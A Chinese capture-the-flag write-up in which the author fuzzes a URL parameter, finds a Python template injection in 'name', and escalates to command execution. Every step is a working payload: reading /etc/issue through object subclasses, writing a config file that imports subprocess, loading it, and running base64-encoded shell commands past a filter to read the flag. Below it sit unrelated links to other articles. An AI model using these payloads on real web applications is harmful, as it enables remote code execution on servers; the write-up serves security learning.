点开只有三个单词plz fuzz parameter

大概意思就是让我们疯狂尝试参数。。。

我们通过url尝试传入参数

?user=123

?name=123

?username=123

?id=123

但参数为name时返回正确值

尝试在这里注入

。。。。。。

失败

但是这里会一直回显name后面的值

通过dalao们的无限测试后发现这里是python模板注入

再根据别人写的python模板注入的文章来跟着一步步注入

读版本文件:?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/issue').read() }}

向SSTI漏洞注入:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}   (这将向远程服务器写入一个文件,当编译完成为subprocess模块引入check_output方法,并将其设置指向变量RUNCMD。)

向config对象添加一个新项:?name={{ config.from_pyfile('/tmp/owned.cfg') }}

通过向SSTI漏洞注入来检测是否成功:?name={{ config['RUNCMD']('/usr/bin/id',shell=True) }}

成功返回

小括号单引号中的内容即为我们可以使用cmd执行的代码

将其改为ls

可能被拦截了

用base64先加密再解密的方法进行注入(bHMK为ls的base64加密)

?name={{ config['RUNCMD']('`echo bHMK | base64 -d`',shell=True) }}

没有返回,尝试ls -al

?name={{ config['RUNCMD']('`echo bHMgLWFsCg== | base64 -d`',shell=True) }}

查看源码获得排列好的文件名

再查看var/www/html下的文件名

?name={{ config['RUNCMD']('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}

查看fl4g文件(cat var/www/html/fl4g)

?name={{ config['RUNCMD']('`echo Y2F0IC92YXIvd3d3L2h0bWwvZmw0Zwo= | base64 -d`',shell=True) }}

拿到flag

i春秋Fuzz的更多相关文章

  1. i春秋url地址编码问题

    i春秋学院是国内比较知名的安全培训平台,前段时间看了下网站,顺便手工简单测试常见的XSS,发现网站搜索功能比较有意思. 其实是对用户输入的内容HTML编码和URL编码的处理方式在这里不合理,提交到乌云 ...

  2. 模糊测试(fuzz testing)介绍(一)

    模糊测试(fuzz testing)是一类安全性测试的方法.说起安全性测试,大部分人头脑中浮现出的可能是一个标准的“黑客”场景:某个不修边幅.脸色苍白的年轻人,坐在黑暗的房间中,正在熟练地使用各种工具 ...

  3. Fuzz的那些事

    Fuzz这个词汇行内的都懂,fuzz工具我就不多说了. 今天,说说fuzz前的准备工作--如何对软件进行修改实现可自动化和无人值守fuzz. 很多软件会有试用期.弹窗.覆盖提示.人机交互等等,这些都会 ...

  4. 在 anyproxy 上做 mock 和 fuzz 测试

    引言 写这个工具,主要有几个原因: 最近老大在尝试不同视角的测试----健壮性测试,任务下来,所以挽起袖子就开撸了 app很可能因为后端api做了变更,返回了一个异常的值而出现难以预知的问题,健壮性受 ...

  5. 基于 fuzz 技术验证移动端 app 的健壮性

    问题定义 app发布后经常容易出现各种诡异的crash, 这些crash固然可以通过各种崩溃分析服务去定位. 但是的确很影响用户体验. 在crash分类中有一类是后端接口引发的. 比如常见的引发app ...

  6. 模糊测试(Fuzz testing)

    模糊测试(fuzz testing)是一种安全测试方法,他介于完全的手工测试和完全的自动化测试之间.为什么是介于那两者之间?首先完全的手工测试即是渗透测试,测试人员可以模拟黑客恶意进入系统.查找漏洞, ...

  7. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  8. i春秋——春秋争霸write up

    i春秋--春秋争霸write up 第一关 题目给出一张图 提示中,这种排列源于古老的奇书,暗含了两个数字,可以得出第一关的答案是两个数字 百度识图来一发, 得到图中排列是来自于洛书,点开洛书的百度百 ...

  9. OD: Windows Driver Fuzz

    内核 FUZZ 思路 内核 API  函数:是提供给 Ring3 调用,在 Ring0 完成最终功能的函数.这些函数接收 Ring3 传入的参数,如果处理参数的过程存在问题的话,很有可能成为一个内核漏 ...

  10. OD: File Vulnerabilities & Protocols & Fuzz

    IE.Office 等软件有个共同点,即用文件作为程序的主要输入,但攻击者往往会挑战程序员的假定和假设. 文件格式 Fuzz 就是利用畸形文件测试软件的稳健性,其流程一般包括: * 以一个正常文件作为 ...

随机推荐

  1. immutable 与 stable 函数的差异

    Stable 函数不能修改数据库,单个Query中所有行给定同样的参数确保返回相同的结果.这种稳定级别允许优化器将多次函数调用转换为一次.在索引扫描的条件中使用这种函数是可行的,因为索引扫描只计算一次 ...

  2. Docker_构建_运行总结

    样例: 构建镜像 build-image-fim-backend.sh echo "开始构建 fim-backend 镜像..." cp -rp ../target/fim-bac ...

  3. 操作系统学习笔记10 | I/O、显示器与键盘

    从这一部分开始介绍操作系统的设备驱动,操作系统通过文件系统的抽象驱动设备让用户能够使用显示器.键盘等交互工具.并讲解printf和scanf是如何实现敲下键盘将字符显示到屏幕上的. 参考资料: 课程: ...

  4. 新增一个Redis 从节点为什么与主节点的key数量不一样呢?

    在日常的 Redis 运维过程中,经常会发生重载 RDB 文件操作,主要情形有: 主从架构如果主库宕机做高可用切换,原从库会挂载新主库重新获取数据 主库 QPS 超过10万,需要做读写分离,重新添加从 ...

  5. Java中的SPI原理浅谈

    在面向对象的程序设计中,模块之间交互采用接口编程,通常情况下调用方不需要知道被调用方的内部实现细节,因为一旦涉及到了具体实现,如果需要换一种实现就需要修改代码,这违反了程序设计的"开闭原则& ...

  6. kibana访问多个 Elasticsearch 节点间的负载均衡

    如果 Elasticsearch 集群有多个节点,分发 Kibana 节点之间请求的最简单的方法就是在 Kibana 机器上运行一个 Elasticsearch 协调(Coordinating onl ...

  7. mysql8.0.25版本设置主从数据库,并且从库只读

    具体操作步骤 说明:主从数据库版本一致 1.主库创建同步使用的用户 create user 'repl'@'%' identified with 'mysql_native_password' by ...

  8. 安装ceph (快速) 步骤一:预检

    官网地址:http://docs.ceph.org.cn/start/ 预检 安装一个 ceph-deploy 管理节点和一个三节点的Ceph 存储集群来研究 Ceph 的基本特性.这篇预检会帮你准备 ...

  9. Elasticsearch:反向代理及负载均衡在 Elasticsearch 中的应用

    文章转载自:https://elasticstack.blog.csdn.net/article/details/108365746

  10. 洛谷P2886 [USACO07NOV]Cow Relays G (矩阵乘法与路径问题)

    本题就是求两点间只经过n条边的最短路径,定义广义的矩阵乘法,就是把普通的矩阵乘法从求和改成了取最小值,把内部相乘改成了相加. 代码包含三个内容:广义矩阵乘法,矩阵快速幂,离散化: 1 #include ...